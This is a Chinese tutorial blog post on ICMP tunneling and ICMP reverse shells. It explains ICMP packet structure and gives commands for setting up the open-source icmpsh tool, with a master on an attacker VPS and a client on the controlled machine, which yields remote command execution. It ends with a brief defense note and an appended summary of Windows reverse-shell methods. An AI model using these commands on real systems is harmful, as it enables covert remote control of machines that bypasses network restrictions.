icmp反弹shell 简介

目录

第一节 轶事

第二节 技术原理

第三节 ICMP反弹shell


 

第一节 轶事

首次听说icmp隧道,要从免费上网说起。当年的网费还是挺贵的,大学生上个网还是容易“破产”呀。当你的网费耗尽后,网管服务器就会拦截你的网络请求,但是只拦截了TCP和UDP协议,放过了ICMP协议,ping ip还是可以的,于是就开始琢磨利用icmp隧道将访问转发到自己的一台放置在公网中的代理,利用代理中转访问公网,实现免费上网。

当然现在使用ICMP隧道更多地是越过一些协议的限制,做一些渗透测试。

 

第二节 技术原理

使用ICMP协议最常见的就是ping工具,在ping www.baidu.com的时候可以看到,ICMP协议是典型的一问一答模式,本机向百度服务器发送ICMP请求包,如果请求包成功到达目的地,百度服务器则回应ICMP响应包。

ICMP(Internet Control Message Protocol)是IPv4协议族中的一个子协议,用于IP主机、路由器之间传递控制消息。控制消息是在网络通不通、主机是否可达、路由是否可用等网络本身的消息。ICMP报文以IP协议为基础,其报文格式如下:

如上图所示,ICMP协议在实际传输中数据包:20字节IP首部 + 8字节ICMP首部+ 1472字节<数据大小>38字节。对于ICMP首部细分为8位类型+8位代码+16位校验和+16位标识符+16位序列号,其中类型的取值如下,我们比较关注的是请求(取值为8)和应答(取值为0)。

最直观的做法是使用抓包工具看一下icmp包的内容,分别看一下windows和linux平台的ping发包,会有一些不同。

在win10上,ping www.baidu.com:

我比较关注的是icmp的数据区,这块区域较大,能干很多事情。win10 ping默认发送的数据是abcdefghijklmnopqrstuvwabcdefghi,共32bytes,而且ICMP响应包数据区的内容和它是一致的,这就是ping的特点,请求什么,响应什么。

而linux则不一样。先使用tcpdump -i eth0 icmp -w icmp.pcap抓包,将抓包文件使用wireshark打开分析发现,linux ping默认发送的数据大小是56bytes,前8个字节为时间戳,而剩下的48bytes相对比较复杂,每次的内容部分不一样,其中一样的是末尾的23bytes,内容为!”#$%&’()*+,-./01234567,那中间25bytes是什么内容呢?卖个关子,下一篇再讲,哈哈。

不禁要思考icmp的数据区只能这么大吗?当然不是,可以自定义的,例如通过给ping指定 -l 参数,就可以修改icmp包的大小。

从上面知道了ping包的结构,我们如果想通过ICMP协议传输数据,操作空间主要是在数据区中,而ping工具的做法是请求什么内容,就回复什么内容,所以设计反弹shell没办法用到ping工具,需要自己开发。

 

第三节 ICMP反弹shell

如果之前做过渗透测试的朋友,肯定知道反弹shell,ICMP反弹shell只不过是将通信协议换成了ICMP。其基本架构内容如下:

从架构图上,可以看到是传统的C/S结构,hacker在具有公网ip的VPS上启动server,在被控机器上启动client ,client主动连接server,从而实现通信。为什么是client主动连接server呢?因为被控机器一般是在内网中,没有公网ip。

有没有相应的开源项目呢?当然是有的,https://github.com/inquisb/icmpsh/,这个实现了一个简单icmp反弹shell,它其中的client叫做slave,server叫做master,都是一回事。

master端部署在我自己的VPS上,具有公网ip,首先关闭自身的icmp应答:

$ sysctl -w net.ipv4.icmp_echo_ignore_all=1 (开启置为0)

然后就可以启动icmp应答程序.

第一个参数是VPS的公网ip,第二个参数是被控机器的公网ip。被控机器的公网ip,是不是有点迷糊,严格说这个ip应该是server端看到的ip,为什么需要这个参数呢?主要是为了填充icmp包的ip地址。为了得到这个ip可以从内网终端ping这个vps,在vps用tcpdump -i eth0 icmp获取这个ip,然后填写。

先在VPS启动命令:

python icmpsh_m.py 源ip 目的ip

接着在被控端启动命令:

icmpsh.exe -t 目的ip

这样ICMP反弹shell就建立了,可以远程执行命令了。

那怎么防御ICMP反弹shell呢?其实特征已经很明显了,建立ping数据区报文的白名单,不在白名单之内的拦截即可,当然还要视抓取的数据来定,可能有业务使用了icmp协议。

 

 

 

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
在Windows系统中,反弹shell是一种常见的攻击技术,用于获取对目标机器的远程访问权限。有几种常见的方法可以实现Windows反弹shell。 一种方法是使用Metasploit框架。首先,使用msfvenom生成一个powershell类型的木马,然后开启监听端口。目标机在命令提示符下执行生成的powershell脚本,即可实现反弹shell。需要注意的是,有时由于防火墙的原因,控制可能会不稳定。\[1\] 另一种方法是使用nc(netcat)工具进行反弹。通过nc反弹得到的shell可能不是一个完全交互的shell,某些命令可能无效。相比之下,通过Python脚本得到的shell可以实现对被控制主机的任意操作。\[2\] 此外,还有一些基于PowerShell的攻击框架,如Nishang,它集合了一些PowerShell攻击脚本和有效载荷,可用于反弹TCP/UDP/HTTP/HTTPS/ICMP等类型的shell。\[3\] 总结起来,Windows反弹shell的方法包括使用Metasploit框架、nc工具以及基于PowerShell的攻击框架。具体选择哪种方法取决于实际需求和环境。 #### 引用[.reference_title] - *1* *2* [Windows下反弹shell的方式](https://blog.csdn.net/ws1813004226/article/details/117248359)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insertT0,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [Windows下反弹shell的方法](https://blog.csdn.net/qq_39101049/article/details/96191861)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insertT0,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值